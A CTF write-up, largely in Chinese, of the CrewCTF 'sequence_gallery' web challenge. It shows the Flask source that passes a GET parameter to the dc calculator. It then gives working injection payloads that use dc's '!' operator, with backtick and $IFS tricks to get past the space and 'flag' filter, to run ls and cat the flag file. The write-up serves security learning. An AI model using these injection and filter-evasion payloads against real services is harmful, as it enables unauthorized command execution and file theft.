CrewCTF - sequence_gallery
Background
Command Injection dc command in Linux with examples Linux dc命令
dc -h Usage: dc [OPTION] [file …] -e, –expression=EXPR evaluate expression -f, –file=FILE evaluate contents of file -h, –help display this help and exit -V, –version output version information and exit
Email bug reports to: bug-dc@gnu.org .
Source Code
:::spoiler Source Code
import os
import sqlite3
import subprocess
from flask import Flask, request, render_template
app = Flask(__name__)
@app.get('/')
def index():
sequence = request.args.get('sequence', None)
if sequence is None:
return render_template('index.html')
script_file = os.path.basename(sequence + '.dc')
if ' ' in script_file or 'flag' in script_file:
return ':('
proc = subprocess.run(
['dc', script_file],
capture_output=True,
text=True,
timeout=1,
)
output = proc.stdout
return render_template('index.html', output=output)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
:::
Recon
這一題看了一下source code,發現他只是用了sequence參數抓取.dc
檔案,然後用subprocess另外執行,所以dc到底是一個甚麼樣的指令?看了其他網站12,發現它就只是一個calculator,然後他支援自己寫的腳本,所以他就是抓sequence這個get參數,然後做簡單的輸入字串驗證(不能有flag
和空格),所以可以想一下能不能用command injection的手法達到RCE,具體來說還是看了CTFTime上的WP3才知道可以用!
接shell command,實際測試如下:
$ dc -e \!ls
factorial.dc fibonacchi.dc flag.txt main.py power.dc templates
$ python
>>> import subprocess
>>> subprocess.run(['dc', "-e !ls Web/sequence_gallery/dist/src"])
factorial.dc fibonacchi.dc flag.txt main.py power.dc templates
CompletedProcess(args=['dc', '-e !ls Web/sequence_gallery/dist/src'], returncode=0)
兩者的區別是一般的shell需要特別用反斜線在驚嘆號前而在python的interactive mode不需要,所以我們就以python的環境來生成payload :::warning 用一般的command injection做不出來,我試過`和$但都沒用,因為它是用subprocess去接所以格式不同,不然一般的shell是可以處理這些東西 :::
>>> subprocess.run(['dc', "`id`"])
dc: Could not open file `id`
CompletedProcess(args=['dc', '`id`'], returncode=0)
>>> subprocess.run(['dc', '"$(id)"'])
dc: Could not open file "$(id)"
CompletedProcess(args=['dc', '"$(id)"'], returncode=0)
Exploit - Command Injection
- 先測試一般的id能不能顯示
Payload:
-e !id
$\to$ Wrong(不能有空格) Payloda:-e%60!id
$\to$ Did not show(這邊試了很久,發現是我們的指令沒有一個換行) Payload:-e%60!id%0a
$\to$ Correct(所以其實中間的dummy string可以隨便設定以取代空格但一定要有換行) - 所以就可以用其他payload讀flag
/?sequence=-e`!ls%0A factorial.dc fibonacchi.dc flag.txt main.py power.dc templates '`' (0140) unimplemented /?sequence=-e`!cat$IFS*.txt%0A crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx} '`' (0140) unimplemented
:::info 最後一個payload必須要是使用$IFS搭配.txt,不能$IFSf.txt,這樣會失敗,我想可能是因為字串之間會有衝突吧 ::: Flag:
crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}
- Trick
用
dc
command執行10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx
會顯示DouULikeDC
的字樣,算是作者的小趣味